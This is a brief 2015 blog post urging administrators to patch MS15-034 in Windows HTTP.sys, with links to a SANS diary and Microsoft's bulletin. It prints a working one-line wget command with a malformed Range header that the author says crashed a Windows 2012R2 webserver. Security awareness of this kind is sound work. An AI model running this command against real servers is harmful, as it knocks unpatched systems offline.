Monday, 20 April 2015

MS15-034 Patch NOW!


So I finally had a chance to test this little doozy of an issue this lunchtime. Crash a webserver by issuing a simple wget command? Yep, I can confirm that this is a good 'un against a Windows 2012R2 server as you can see in my screenshot above.
wget --header="Range: bytes=18-18446744073709551615" http://[ip address]/
Find out more here from the SANS Internet Storm Center here:
https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/

And here:


Microsoft MS15-034 Security Bulletin:
https://technet.microsoft.com/en-us/library/security/ms15-034.aspx

-Chris